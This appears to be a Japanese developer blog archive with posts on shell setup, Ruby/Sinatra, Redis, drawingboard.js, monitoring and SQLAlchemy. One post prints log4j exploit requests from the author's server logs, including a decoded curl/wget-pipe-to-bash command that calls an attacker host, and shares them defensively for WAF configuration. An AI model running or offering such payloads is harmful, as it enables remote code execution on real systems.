2021年12月29日水曜日

tmux + zsh で PATH が複数回セットされてしまう場合の対処方法

tmux + zsh で PATH が複数回セットされてしまう場合の対処方法

概要

ターミナル起動時に .zshrc が呼ばれ更にターミナル上で tmux が起動していると tmux のセッション開始時に再度 .zshrc が呼ばれることで PATH が再度末尾に結合されてしまう現象が発生します

環境

  • macOS 11.6.2
  • tmux 3.1c

対象方法

  • vim .zshrc

で最後に以下を追記します
これで後から追加したパスは削除してくれます

typeset -U PATH

注意点

この方法だと意図しない PATH の上書きしか対処できません
.zshrc はセッション開始時に呼ばれるのは呼ばれるので他に複数回実行されたくない命令が .zshrc に記載れている場合はそれは別途対応しなければならないので注意してください

参考サイト

2021年12月28日火曜日

Mac のバッテリー情報をコマンドで確認する方法

Mac のバッテリー情報をコマンドで確認する方法

どちらも BatteryData あたりを見ると充電回数や現在の順電残量などが確認できるかなと思います

コマンド1

  • ioreg -c AppleSmartBattery | grep -i Capacity

コマンド2

  • ioreg -w 0 -r -c AppleSmartBattery

2021年12月27日月曜日

PA-API v5 の TooManyRequests の対策方法

PA-API v5 の TooManyRequests の対策方法

エラー概要

ネットでよく見かけるエラーの内容です
どの記事も根本解決の提案がなかったので自分の解決方法を紹介します

{"__type"=>"com.amazon.paapi5#TooManyRequestsException", "Errors"=>[{"Code"=>"TooManyRequests", "Message"=>"The request was denied due to request throttling. Please verify the number of requests made per second to the Amazon Product Advertising API."}]}

考えられる主な原因

  • 売上がない
  • 本当にリクエストの上限に当たっている (ほぼあり得ない)

実際のところ本当の理由を調べる方法はないようです

対策方法

Amazonの商品ページを直接スクレーピングする

おそらくこれが一番無難です

注意点

基本はスクレーピング NG なのですがログインしている状態のスクレーピングは NG のようです
シークレットブラウザなどログインセッションのないクライアントを使ってスクレーピングしまhそう

また当たり前ですが高負荷をかけるような短時間での大量のリクエストをするようなスクレーピングもやめましょう

実装時のポイント

User-Agent をブラウザ相当の User-Agent にしないと 503 が返ってきます
適当に Chrome などの User-Agent を設定すれば OK です

Selenium などのブラウザを使ってスクレーピングする場合は ajax などの処理を待つのも簡単にできますが curl や Ruby の URI.open などを使う場合は JavaScript による DOM の描画が終わる前に HTML を取得してしまうので待つ必要があります

ただ curl や URI.open にそのような機能はないのでもち ajax を待ちたい場合は Selenium などの技術を使うかリトライなどで対応することになります

2021年12月24日金曜日

Ruby で redis に画像ファイルを保存する方法

Ruby で redis に画像ファイルを保存する方法

概要

Redis はバイナリセーフなので画像デーも保存できます
今回は Ruby から保存/取得する方法を紹介します

環境

  • macOS 11.6.2
  • Ruby 3.0.3
  • redis 4.5.1

画像データの保存

test.png という画像ファイルを Redis に保存します

  • vim set.rb
require 'redis'

path = "test.png"
File.open(path, 'rb') do |file|
  redis = Redis.new
  redis.set('image', file.read)
end

画像データの取得

Redis に保存されているデータを元に画像データを生成します

  • vim get.rb
require 'redis'

path = "test.png"
File.open(path, 'wb') do |file|
  redis = Redis.new
  image = redis.get('image')
  file.write(image)
end

最後に

File.open の mode は rb と wb を使うのがポイントかなと思います

2021年12月23日木曜日

drawingboard.js でサーバサイドに画像を保存する方法

drawingboard.js でサーバサイドに画像を保存する方法

概要

前回 drawingboard.js に入門してみました
今回はサーバサイドに作成した画像を保存してみます
サーバサイドは Ruby で実装します

環境

  • macOS 11.6.2
  • Ruby 3.0.3p157
  • sinatra 2.1.0
  • drawingboard.js 0.4.2

config.ru

require './app'

run TestWeb

app.rb

require 'sinatra'
require 'base64'

class TestWeb < Sinatra::Base
  get '/' do
    erb :index
  end

  post '/' do
    filename = params[:filename]
    image = params[:image]
    image = Base64.decode64(image.gsub('data:image/png;base64,', '').gsub(/\s/, '+'))
    File.open("/tmp/#{filename}.png", 'wb') do |file|
      file.write(image)
      'ok'
    end
  end
end

index.erb

<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <meta name="viewport" content="width=device-width">
  <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/drawingboard.js/0.4.2/drawingboard.min.js"></script>
  <link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/drawingboard.js/0.4.2/drawingboard.min.css">
  <style data-example="2">
  #board1 {
    width: 400px;
    height: 400px;
  }
  </style>
</head>
<body>
  <div class="board" id="board1"></div>
  <input id="filename" type="text" value="image1" />
  <button id="save">Save</button>
  <script data-example="2">
  var board1 = new DrawingBoard.Board('board1', {
    background: "#000000",
    color: "#ffffff",
    size: 30,
    fillTolerance: 150,
    controls: [
      { Size: { type: "range", min: 12, max: 42 } },
      { Navigation: { back: true, forward: true } },
      'DrawingMode',
      'Color'
    ],
    webStorage: 'local',
    droppable: true
  });
  board1.addControl('Download');
  board1.downloadImg = function() {
    var img = this.getImg();
    img = img.replace("image/png", "image/octet-stream");
    var link = document.createElement('a');
    link.download = "download.png";
    link.href = img;
    link.click();
  };
  $('#save').on('click', function(e) {
    var img = board1.getImg();
    var filename = $("#filename").val();
    $.ajax({
      type: "POST",
      url: "/",
      enctype: 'multipart/form-data',
      data: "image=" + img + '&filename=' + filename,
      success: function(msg){
        alert( "Data Saved: " + msg );
      },
      error: function(XMLHttpRequest, textStatus, errorThrown) {
        alert("some error");
      }
    });
  });
  </script>
</body>
</html>

ちょっと解説

画像情報を送信する場合は base64 エンコードされたデータを文字列で送信します
わざわざバイナリ変換してファイルとして送信する方法もありますが文字列のほうが扱いが楽なので文字列のまま使います

base64 の文字列を送信する場合は ajax を使います
POST で multipart/form-data として送信します
こうすることで一緒にファイル名も送信できます

Ruby (sinatra) 側ではフォームデータとして画像データとファイル名を取得します
それぞれ params から文字列として取得できます
画像データは不要な文字列をエスケープしスペースをプラスに置換します

あとは Base64.decode しファイルをバイナリ形式で保存すれば OK です
実際にファイル化するのが嫌な場合は Redis などに文字列としてそのまま保存すると良いかなと思います

最後に

なぜか ajax から受け取った画像の base64 データがサーバサイドだと一部置換されているのでそこをちゃんと補完してあげることを忘れないようにしましょう

参考サイト

2021年12月22日水曜日

MacBookAir Early 2014 (A1466) のバッテリーを交換してみた

MacBookAir Early 2014 (A1466) のバッテリーを交換してみた

概要

MacBookAir のバッテリーがパンパンになってしまいモニタが閉まらなくなってしまいさすがにまずいと思い自分で交換してみました

意外と簡単で修理費用も半額程度で済むので純正に拘らない人にはオススメかもしれません

環境

  • Mac Book Air 13inch Early 2014
  • エアダスター (任意)

交換前

バッテリーが膨張しており天板が閉まりません
徐々に開いている間隔が広くなりついに完全に閉まらなくなった状況です

購入したバッテリー

Amazon で購入しました
本当はジーニアスバーに持っていって修理依頼しようとしたのですが時間がかかるのが嫌だったのでやめました

また iPhone のバッテリーを自分で修理したこともあり MacBookAir も試しに自分で修理してみたかったのでバッテリーのみ購入しました

チャイナ製ですが一応保証付きなので何かあったときには返品できると思い少し高めのものをチョイスしました

バッテリーを購入する際は Mac の型番によって購入するバッテリーも変わるので注意しましょう

同梱物

バッテリーの他にキーボードカバーと裏側の滑り止めの換えが付属していました

修理に必要な特殊ドライバも付属しているので修理のための道具を別途購入する必要はありません

シャットダウンする

バッテリー交換前は念の為 Mac をシャットダウンしておきましょう

またマグセーフの充電コネクタも外しておきます

交換方法

では交換していきます
戻すときは逆を辿るだけです

裏返してネジを外す (10箇所)

短いネジが8箇所で長いネジが2箇所あります
すべて外しましょう

ネジはちゃんと管理する

あとで更に出てきますが少し種類が違うので一緒にならないように分けておきましょう

天板を外す

ねじが外れたら天板を外します
少し隙間を作って持ち上げれば OK です

ほこりの掃除

天板を開けました
びっくりするくらいほこりが溜まっていました
2014 年に購入して丸々7年間のほこりが溜まっていました

掃除機はまずいのでエアダスターで掃除しました
コネクタの部分とファンの部分にほこりが多かったので重点的にシュッシュしました

バッテリーのネジを外す (5箇所)

バッテリーもネジで固定されています
短いネジが3箇所で長いネジが2箇所あります

バッテリーを外す

バッテリーのネジが外れたらバッテリーを外しましょう
これも隙間を作って持ち上げれば OK です

が一点注意として左上に電源コネクタがつながっています
先にこれを外してからバッテリーを外しましょう

コネクタは透明な部分を持って手前に左右に揺らしながらやると外しやすいです

バッテリーの裏側も掃除

バッテリーが外れた裏側も結構汚かったので枝ダスターを使って掃除しましょう

バッテリーの交換

あとはバッテリーを新品と交換しましょう
先ほどと同じで先にコネクタを接続してからはめてネジで固定します

交換後

まだ少しモニタ部分に隙間ができていました
バッテリーの位置を考えると隙間の原因は別にあるような気もします
ほこりなどのゴミが原因だったりネジが緩んで盛り上がっているせいで隙間ができてしまっている可能性もあるかなと思います

調べてみると天板とモニタのヒンジ部分にシリコンスプレーをかけてすべりを良くするとモニタが閉まることがあるようなので閉まらない場合はついでにその対策もすると良いと思います

動作確認

電源を入れてシステム情報 -> 電源を確認しましょう
ちゃんと充電回数がリセットされていることが確認できれば OK です

使用済みのバッテリーは

間違ってもゴミ箱に捨ててはいけません

リサイクルマークがあるので地域の回収方法に従いリサイクルしましょう
基本は電気屋さんとかホームセンターに持っていけばリサイクルしてくれます

最後に

かなり簡単に修理できました
ジーニアスバーに持っていくよりも半額で以下で修理できました

ただ純正バッテリーではないのでもしかすると不良品ですぐダメになるかもしれません

そのときはまたレポートされていただきます

参考サイト

2021年12月21日火曜日

drawingboard.js 超入門

drawingboard.js 超入門

概要

drawingboard.js を使うと HTML だけで簡単にペイント機能が追加できます

環境

  • macOS 11.6.2
  • Chrome 96.0.4664.110
  • drawingboard.js 0.4.2

最小サンプルコード

index.html だけで動作します
サーバなどへのデプロイも不要です

  • vim index.html
<html>
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <meta name="viewport" content="width=device-width">
  <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/drawingboard.js/0.4.2/drawingboard.min.js"></script>
  <link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/drawingboard.js/0.4.2/drawingboard.min.css">
  <style data-example="2">
  #board1 {
    width: 400px;
    height: 400px;
  }
  </style>
</head>
<body>
  <div class="board" id="board1"></div>
  <script data-example="2">
  var board1 = new DrawingBoard.Board('board1', {
    background: "#000000",
    color: "#ffffff",
    size: 30,
    fillTolerance: 150,
    controls: [
      { Size: { type: "range", min: 12, max: 42 } },
      { Navigation: { back: true, forward: true } },
      'DrawingMode',
      'Color'
    ],
    webStorage: 'local',
    droppable: true
  });
  board1.addControl('Download');
  board1.downloadImg = function() {
    var img = this.getImg();
    img = img.replace("image/png", "image/octet-stream");
    var link = document.createElement('a');
    link.download = "download.png";
    link.href = img;
    link.click();
  };
  </script>
</body>
</html>

ちょっと解説

まず div タグを作成し id を振ります
その id を元に new DrawingBoard.Board でボードを作成します

引数の2つ目でいろいろとオプションを指定できます
特に controls が重要でこれで消しゴムやペン、塗りつぶしなど様々なコントローラを設定できます
コントローラに指定可能な値は全部で4つで「Color」「DrawingMode」「Size」「Navigation」がありそれぞれ更にオプションを指定できます

ダウンロードボタンだけ board1.addControl('Download') で設定します デフォルトだと「ダウンロード」というファイル名でダウンロードされてしまうので拡張しなど指定したい場合は downloadImg 関数をオーバライドすることで指定できます

動作確認

  • open index.html

こんな感じでペイント画面がブラウザで表示されれば OK です

最後に

簡単なペイント機能であれば簡単に追加できそうです

各種コントローラなどのボタンのイベントをハンドリングすれば作成した画像をサーバサイドに保存することもできそうです

ただあまりメンテナンスされていないのでそのうち動かなくなる可能性はありそうです

参考サイト

2021年12月20日月曜日

RSpec でカバレッジを表示する方法 (simplecov)

RSpec でカバレッジを表示する方法 (simplecov)

概要

simplecov を使います
rspec のセットアップはこちらを確認してください

環境

  • macOS 11.6.1
  • Ruby 3.0.3p157
  • simplecov 0.12.3

インストール

  • gem install simplecov

設定

  • vim spec/spec_helper.rb
require 'bundler/setup'
require 'simplecov'

RSpec.configure do |config|
config.example_status_persistence_file_path = ".rspec_status"
  config.disable_monkey_patching!
  config.expect_with :rspec do |c|
    c.syntax = :expect
  end
  SimpleCov.start
end

SimpleCov.start を記載するだけです

.gitignore

  • echo "coverage" >> .gitignore

実行

  • bundle exec rake spec

Tips: vendor ディレクトリを無視する方法

SimpleCov.start do
  add_filter 'vendor'
end

参考サイト

2021年12月18日土曜日

自分のサーバに来ていた log4j の脆弱性をつくようなリクエストの紹介

自分のサーバに来ていた log4j の脆弱性をつくようなリクエストの紹介

概要

log4j の脆弱性を悪用するリクエストが自分のサーバにも来ていたので紹介します

基本は log4j を使っていなければ大丈夫ですが無駄なリクエストを弾くこともできるので WAF などに設定の参考になるかなと思います

環境

  • GCP
  • Ruby
  • Sinatra

パス

web_1    | 167.99.44.32 - - [11/Dec/2021:19:50:33 +0000] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 6666 0.0093
web_1    | 45.155.205.233 - - [12/Dec/2021:05:27:12 +0000] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo} HTTP/1.1" 200 13119 0.0099
web_1    | 45.83.65.2 - - [13/Dec/2021:03:43:00 +0000] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 6666 0.0085
web_1    | 195.54.160.149 - - [17/Dec/2021:02:13:04 +0000] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo} HTTP/1.1" 200 13119 0.0096

ちなみに base64 されていた文字列はデコードすると以下のようなシェルになっていました (注意:間違っても実行しないように)

(curl -s 45.155.205.233:5874/35.208.209.122:443||wget -q -O- 45.155.205.233:5874/35.208.209.122:443)|bash

IP はハニーポットの IP っぽいです

ヘッダ

web_1    | I, [2021-12-17T02:13:04.435652 #1]  INFO -- : {"HTTP_VERSION"=>"HTTP/1.1", "HTTP_HOST"=>"35.208.209.122:443", "HTTP_CONNECTION"=>"close", "HTTP_X_REAL_IP"=>"195.54.160.149", "HTTP_X_FORWARDED_FOR"=>"195.54.160.149", "HTTP_X_FORWARDED_PROTO"=>"https", "HTTP_X_FORWARDED_SSL"=>"on", "HTTP_X_FORWARDED_PORT"=>"443", "HTTP_USER_AGENT"=>"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo}", "HTTP_REFERER"=>"${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo}", "HTTP_ACCEPT_ENCODING"=>"gzip"}

UserAgent, Referer に base64 化されたスクリプトが仕込まれていました

2021年12月17日金曜日

Sinatra でファイルをダウンロード数 API を作る (send_file 編)

Sinatra でファイルをダウンロード数 API を作る (send_file 編)

概要

過去に attachment を使った方法を紹介しました

今回は send_file を使います

環境

  • macOS 11.6.1
  • Ruby 3.0.3p157
  • Sinatra 2.1.0

サンプルコード

  • vim app.rb
require 'sinatra'

class DownloadApp < Sinatra::Base

  get '/send_file/:file_name' do |file_name|
    send_file(file_name, disposition: 'attachment')
  end

  not_found do
    "file not found"
  end
end
require './test'

run DownloadApp
  • touch hoge

起動

動作確認

  • curl -O -v localhost:9292/send_file/hoge
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
< Content-Disposition: attachment; filename="hoge"
< Last-Modified: Mon, 13 Dec 2021 23:45:05 GMT
< Content-Length: 15
< X-Content-Type-Options: nosniff
< Connection: keep-alive
< Server: thin

Content-Disposition が設定されていることがわかります
また attachment とは違いファイルの情報をそのまま送るため送信データを最後に記載する必要がありません

ファイルの最終更新日 (Last-Modified) もヘッダに設定されます

最後に

attachment はあくまでもヘッダの設定で send_file はヘッダの設定も含めてレスポンスを返してくれるヘルパーメソッドになります

2021年12月16日木曜日

VictoriaMetrics 超入門

VictoriaMetrics 超入門

概要

VictoriaMetrics はサーバなどのメトリックデータを収集し時系列データとして可視化することができる監視ツールです

Prometheus のメトリックデータも収集することができます
今回は VictoriaMetrics を構築し簡単なメトリックの収集までやってみました

環境

  • macOS 11.6.1
  • docker 20.10.11
  • VictoriaMetrics 20211202-133618-tags-v1.70.0-0-g7f2f26b25

node_exporter の起動

テストなので mac 上で起動します

prometheus.yml の準備

VictoriaMetorics は prometheus.yml をそのまま使うことができます

先程準備した node_exporter を scrape 先として設定します

  • mkdir config
  • vim config/prometheus.yml
global:
  scrape_interval:     15s
  evaluation_interval: 15s

scrape_configs:
  - job_name: 'node_exporter_on_mac'
    static_configs:
    - targets: ['192.168.1.2:9100']

VictoriaMetorics の起動

今回は docker で構築します
公式のイメージが dockerhub で公開されているのでそれを使います

  • mkdir data
  • docker run -d -v $(pwd)/data:/victoria-metrics-data -p 8428:8428 victoriametrics/victoria-metrics

これで http://localhost:8428 にアクセスすると管理画面が表示されます
ここで WebUI にアクセスしたり scrape 先の設定できます

http://localhost:8428/targets を確認するとちゃんと先程起動した node_export がターゲットに入っていることが確認できます

オプション確認

各種オプションは以下のコマンドで確認できます

  • docker run --rm victoriametrics/victoria-metrics --help

動作確認

Promethues の API 互換でもあるので API を使います

  • curl 'http://localhost:8428/api/v1/query?query=up'

これで以下の結果が取得できればちゃんとメトリックデータが VictoriaMetrics に格納されていることが確認できます

{"status":"success","data":{"resultType":"vector","result":[{"metric":{"__name__":"up","instance":"192.168.1.2:9100","job":"node_exporter_on_mac"},"value":[1639445877,"1"]}]}}

PromQL も使えます
http://localhost:8428/vmui にアクセスすると VictoriaMetrics 専用の PromQL をコールできる UI が表示されるのでここで PromQL を発行しましょう

up{job="node_exporter_on_mac"}

と入力して実行すると以下のようにメトリックがグラフで確認できるはずです

最後に

今回はシングルノードでしたが VictoriaMetrics はクラスタ構成も組めるので大量のメトリックデータを管理保管することができます

Prometheus 互換でもあるので Prometheus の代替としても使えます
node_exporter などのエクスポータのデータも簡単に取り込めました

参考サイト

2021年12月14日火曜日

投資の教訓

投資の教訓

マイナスなイメージが多いですがちゃんと認識しておくべきことかなと思います

投資はギャンブルである

  • リスクが高いか低いかの違いだけ
  • 現物買い、FX など=リスク高
  • NISA、iDeco などのインデックスファンド=リスク低

投資はメンタルゲーム

  • メンタルが弱い人はデイトレードのほうがオススメ
  • もしくはロングで入って一生持ち続けるくらいの覚悟
  • ポジションを保有するのをストレスに感じる人は長期保有は向かない
  • 仕事や私生活に影響を与えてはいけないので

生活費を投資につぎ込んではいけない

  • 当然だが
  • 50% でも多い、20%-30% 程度
  • NISA なら 50% でもいいかも

投資が合わない人は他のギャンブルを選択する

  • 競馬とか宝くじなど
  • そもそもギャンブルをしないという選択もあり

一生持つのであれば配当株はオススメかも

  • ただそれでも死ぬ場合あり、配当がなくなることもある
  • リスクは高
  • 配当確定 -> 即売りもありだが管理が面倒
  • 長期的に見て評価額よりもインセンティブがあればいいという人はオススメ

損切りするケースしないケース

  • デイトレードであれば損切りして次の日にポジションを持ち越さない
  • 1年以上もしくは一生持つ場合は損切りはなしで放置で OK
  • そのうち上がるかもを待っていればいい
  • 無駄にポジションを気にする必要もなくなる

課税も高い

17% くらいもってかれる
仮想通貨だともっと高いはず

最後に

経験としてやっておくのはあり、政治や経済の動向も知れるので
がやらなくてもいいかなーというのが正直なところ

アプリやサービスを作ったりクリエイティブな活動からお金を生み出すほうがやりがいもあるかも

個人的な感想ですがあくまでもギャンブルであることを忘れないほうがいいかなと

2021年12月13日月曜日

httpie 超入門

httpie 超入門

概要

curl の代替として httpie を使ってみました
レスポンスなどきれいに見せてくれます

環境

  • macOS 11.6.1
  • httpie

インストール

  • brew install httpie

インストールが完了すると http コマンドが使えるようになっています

% http --version
2.6.0

localhost:80 へリクエスト

  • http localhost

json を POST

デフォルトで application/json になっています
ヘッダを指定したい場合はコロンで区切ります

AWS にリクエスト

httpie-aws-authv4 を使うとできます
pip はシステムがデフォルトで使用している pip にインストールしてください

  • pip install --upgrade httpie-aws-authv4

コールする場合は「-f」でフォームとしてリクエストを送信し「-A」で認証タイプを「aws4」にしあとは AWS のエンドポイントを指定します

認証情報は ~/.aws/config にあることを期待しているので配置している状態です
引数でクレデンシャルやプロファイルを直接指定することも可能です

最後に

デフォルト入っている OS はまだなさそうなのでインストールが必要なのが難点ですが curl よりは確かに強力かなと思います

ただ curl でも十分なケースは多いので臨機応変かなと思います

参考サイト

2021年12月10日金曜日

Gitlab の SAML Groups 機能を試してみた

Gitlab の SAML Groups 機能を試してみた

概要

Gitlab の SAML Groups 機能は SAML Idp 側から送信される Groups 情報を元にログインの許可やユーザ属性の自動付与を行うことができます

今回は AzureAD を使って試してみました

環境

  • Gitlab 14.3.4-ee
  • AzureAD (20211126 時点)

Required Groups

Required Groups 機能はリスト内に含まれるグループ情報でなければログインできなくする機能です

gitlab.rb では以下のように設定します

gitlab_rails['omniauth_allow_single_sign_on'] = ['saml']
gitlab_rails['omniauth_block_auto_created_users'] = false
gitlab_rails['omniauth_auto_link_saml_user'] = true
gitlab_rails['omniauth_providers'] = [
  {
    name: "saml",
    label: "AzureAdTest",
    groups_attribute: 'Groups',
    required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'],
    args: {
      assertion_consumer_service_url: "https://your.gitlab.example.com/users/auth/saml/callback",
      idp_cert_fingerprint: "xxxx",
      idp_sso_target_url: "https://login.microsoftonline.com/xxxxxx/saml2",
      issuer: "https://your.gitlab.example.com",
      name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent"
    }
  }
]

まず groups_attribute で AzureAD 側から送信される「属性とクレーム」のクレーム名を指定します
そして required_groups を使って必須のグループ名を指定します
ここで指定されるグループ名が AzureAD から送信されない場合はログインエラーになります

AzureAD 側のクレーム設定は以下のとおりです
例えば Admins という属性を持っている場合はログインできます
ここで注意してほしいのは例え AzureAD 側で Admins を設定していても Gitlab 側の管理者グループに所属するわけではないという点です

もし管理者グループに自動で登録したい場合は required_groups ではなく admin_groups を使います

これで再度ログインしてみるとちゃんとログインできるのが確認できます
またどのグループにも属していないのが確認できると思います

External Groups

external_groups はリスト内に記載されているグループだった場合に Gitlab の External user フラグを自動的にオンにしてくれる機能です

gitlab.rb は以下のように記載します
先程 required_groups と記載していたところを external_groups に変更します

gitlab_rails['omniauth_allow_single_sign_on'] = ['saml']
gitlab_rails['omniauth_block_auto_created_users'] = false
gitlab_rails['omniauth_auto_link_saml_user'] = true
gitlab_rails['omniauth_providers'] = [
  {
    name: "saml",
    label: "AzureAdTest",
    groups_attribute: 'Groups',
    external_groups: ['Freelancers'],
    args: {
      assertion_consumer_service_url: "https://your.gitlab.example.com/users/auth/saml/callback",
      idp_cert_fingerprint: "xxxx",
      idp_sso_target_url: "https://login.microsoftonline.com/xxxxxx/saml2",
      issuer: "https://your.gitlab.example.com",
      name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent"
    }
  }
]

AzureAD 側のクレームは Admins ではなく Freelancers が送信されるようにします

これでログインすると Gitlab の External user フラグが自動でオンになっているの確認できます

External user フラグがオンになっている場合はプロジェクトが作成できなかったり Public なプロジェクトしか見れなくなります

最後に

他には Administrator groups と Auditor groups があります
前者は自動で Gitlab の管理者グループに登録する機能で後者はリードオンリーユーザとして登録する機能になります

それぞれの機能は And 条件として使うことができます
なので必須のグループ名かつこのグループ名は Admin として登録するということが可能です

自動で特定の属性を付与したい場合には便利かもしれません

参考サイト

2021年12月9日木曜日

Python の配列や辞書を json_array や json_object に渡す方法

Python の配列や辞書を json_array や json_object に渡す方法

概要

前回 cast を使って Python -> MySQL の型変換をしました
今回は json_array と json_object を使った方法を紹介します

環境

  • macOS 11.6.1
  • MySQL 8.0.26
  • flask-sqlalchemy 2.5.1

サンプルコード

def upsert(self, id, profile):
    """フィールドがない場合は登録します."""
    user_query = User.query.filter(User.id == id)
    for key, value in profile.items():
        if isinstance(value, list):
            # list の場合
            user_query.update(
                {"profile": db.func.json_set(
                    User.profile,
                    "$." + key,
                    db.func.json_array(*value))}, synchronize_session='fetch')  # noqa: E501
            db.session.commit()
        elif isinstance(value, dict):
            # dict の場合
            user_query.update(
                {"profile": db.func.json_set(
                    User.profile,
                    "$." + key,
                    db.func.json_object(*list(itertools.chain.from_iterable(value.items()))))}, synchronize_session='fetch')  # noqa: E501
            db.session.commit()
        else:
            # str や int など構造を持たない値の場合
            user_query.update(
                {"profile": db.func.json_set(
                    User.profile,
                    "$." + key,
                    value)}, synchronize_session='fetch')
            db.session.commit()

解説

json_array や json_object に flatten した値を渡しています
配列の場合はアスタリスク一つで展開できます
辞書の場合は少し面倒で items() でイテレータ情報を取得したあとで itertools.chain.from_iterable で平坦化してあげています

2021年12月8日水曜日

SQLAlchemy で list または dict を update + json_set で更新する方法

SQLAlchemy で list または dict を update + json_set で更新する方法

概要

Python の list や dict をそのまま json_set することはできません

MySQL などの世界で使われている JSON 型に変換してあげてから update しましょう

環境

  • macOS 11.6.1
  • MySQL 8.0.26
  • flask-sqlalchemy 2.5.1

サンプルコード

"""flask_sqlalchemyを使ってJSON型をテストするクラス."""
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_marshmallow import Marshmallow

app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+mysqldb://root@localhost/test?charset=utf8'  # noqa: E501
db = SQLAlchemy(app)
ma = Marshmallow()


class User(db.Model):
    """Userテーブルのモデル."""

    id = db.Column(db.Integer, primary_key=True)
    profile = db.Column(db.JSON())


class UserResponseSchema(ma.Schema):
    """Userテーブル用のレスポンスデータスキーム."""

    id = ma.String(attribute="id")
    profile = ma.Dict(attribute="profile")


class UserTable():
    """Userテーブルを操作するクラス."""

    def insert(self, profile):
        """profileを登録します."""
        p = User(profile=profile)
        db.session.add(p)
        db.session.commit()

    def select_all(self):
        """全件取得."""
        return User.query.filter().all()

    def upsert(self, id, profile):
        """フィールドがない場合は登録します."""
        user_query = User.query.filter(User.id == id)
        for key, value in profile.items():
            if isinstance(value, list) or isinstance(value, dict):
                # dict or list の場合
                user_query.update(
                    {"profile": db.func.json_set(
                        User.profile,
                        "$." + key,
                        db.func.cast(value, db.JSON))}, synchronize_session='fetch')  # noqa: E501
                db.session.commit()
            else:
                # str や int など構造を持たない値の場合
                user_query.update(
                    {"profile": db.func.json_set(
                        User.profile,
                        "$." + key,
                        value)}, synchronize_session='fetch')
                db.session.commit()


if __name__ == '__main__':
    # レコード取得
    user_table = UserTable()
    records = user_table.select_all()
    ret = UserResponseSchema(many=True).dump(records)

    # レコード追加
    # list の場合
    new_profile = {'age': 10, 'name': 'snowlog', 'items': ["sword", "shield"]}
    user_table.upsert(ret[0]["id"], new_profile)
    records = user_table.select_all()
    ret = UserResponseSchema(many=True).dump(records)
    print(ret)

    # dict の場合
    new_profile = {'age': 10, 'name': 'snowlog', 'items': {"sword": "lv30", "shield": "lv30"}}  # noqa: E501
    user_table.upsert(ret[0]["id"], new_profile)
    records = user_table.select_all()
    ret = UserResponseSchema(many=True).dump(records)
    print(ret)

少し解説

upsert メソッドで更新する値の型をチェックします
list or dict の場合には db.func.cast(value, db.JSON) を使って Python -> MySQL の JSON 型に変換しています

もしこれを行わないで配列や辞書の update + json_set しようとするとシンタックスエラーが発生します

また空の配列や辞書を登録することも可能です

最後に

json_array() や json_object() メソッドを使って MySQL の世界の型に変換してもいいのですがいかんせん Python の配列や辞書のデータをそのまま渡せないので cast を使っています

SQLAlchemy で cast メソッドの使い方はあまり紹介されていないので参考になれば幸いです